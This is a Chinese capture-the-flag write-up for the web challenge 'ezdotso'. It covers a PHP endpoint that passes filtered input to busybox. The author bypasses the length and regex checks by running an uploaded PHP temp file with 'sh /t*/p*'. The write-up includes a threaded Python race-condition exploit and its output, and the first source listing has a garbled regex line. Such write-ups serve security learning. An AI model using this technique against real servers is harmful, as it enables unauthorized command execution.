

## ezdotso

题目给了一个源码和一个so文件

源码如下（稍微加了一点输出）

```
<?
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){
    switch($action){
        case "php_info":
            echo call_user_func_array("php_info",$param);
            break;
        case "cmd":
            if(isset($cmd)){
                if(is_string($cmd)){
                    if (strlen($cmd)>9){
                        die();
                    }
                    $pat1 = "/^[0-9a-zA-Z \\/\*]"/;
                    $count1 = preg_match($pat1, $cmd);
                    echo $count1;
                    echo "<br>";
                    if ($count1>0){
                        die("1111");
                    }
                    $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\\\/\*]+$/";
                    $count2 = preg_match($pat2, $cmd);
                    echo $count2;
                    echo "<br>";
                    if ($count2==0){
                        die("2222");
                    }
                    $c = "busybox ".$cmd;
                    system($c);
                }
            }
            break;
        default:
            echo call_user_func_array("hello",$param);
            break;
    }
}else{
    show_source(__FILE__);
}
```

可以明显的看到有三个功能

- php\_info 显示phpinfo
- cmd 执行命令的
- Hello 看起来没啥用，官方的预期解法就在这里

通过查看phpinfo 我们可以看到加载了ezdotso.so，出题人的意思应该是让我们去分析so文件，但是作为web狗怎么能向二进制低头呢？

直接看没有涉及到ezdotso.so的东西，也就是action=cmd的部分。

要满足三个条件才能执行

- cmd长度不能大于9
- 不能包含0-9a-zA-Z /\* 以外的字符
- 只能是以字符+空格+0-9a-zA-Z /\* 的形式

通过cmd=ls /h\*/ \* 可以发现有个readflag 程序，所以思路比较清晰了运行readflag 就能拿到flag了。

可以通过busybox /h\*/r\* 但是这样不满足正则。陷入僵局。

php上传产生的临时文件再次发挥了作用

php在上传文件的时候会在/tmp/ 文件夹下面生成/tmp/phpxxxxxx 文件，所以我们可以上传的同时去执行

sh /t\*/p\* 刚好9个字符。

下面是利用脚本

```
import requests
import threading
import os

url = "http://u.cn:3423"

payload = "sh /t*/p*"
assert(len(payload)<10)
params = {"action":"cmd", "cmd":payload}
files = {"hhh":"cat /var/www/html/index.php"}

def go():
    r = requests.post(url, params=params, files=files)
    #print(repr(r.text))
    if "0<br>1<br>" != r.text:
        print(r.text)
        os._exit(0)

def upload():
    r = requests.post(url, files=files)

while True:
    t = threading.Thread(target=go, args=())
    t.start()
    #t = threading.Thread(target=upload, args=())
    #t.start()
```

→ ezdotso python3 exp.py

```
0<br>1<br><?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){
    switch($action){
        case "php_info":
            echo call_user_func_array("php_info",$param);
            break;
        case "cmd":
            if(isset($cmd)){
                if(is_string($cmd)){
                    if (strlen($cmd)>9){
                        die();
                    }
                    $pat1 = "/^[^0-9a-zA-Z \\/\*]/";
                    $count1 = preg_match($pat1, $cmd);
                    echo $count1;
                    echo "<br>";
                    if ($count1>0){
                        die("1111");
                    }
                    $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\:\/\/\*]+$/";
                    $count2 = preg_match($pat2, $cmd);
                    echo $count2;
                    echo "<br>";
                    if ($count2==0){
                        die("2222");
                    }
                    $c = "busybox ".$cmd;
                    #echo $c;
                    system($c);
                    #system($cmd);
                }
            }
            break;
        default:
            echo call_user_func_array("hello",$param);
            break;
    }
}else{
    show_source(__FILE__);
}
```

→ ezdotso ■



1. 0 条回复
- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)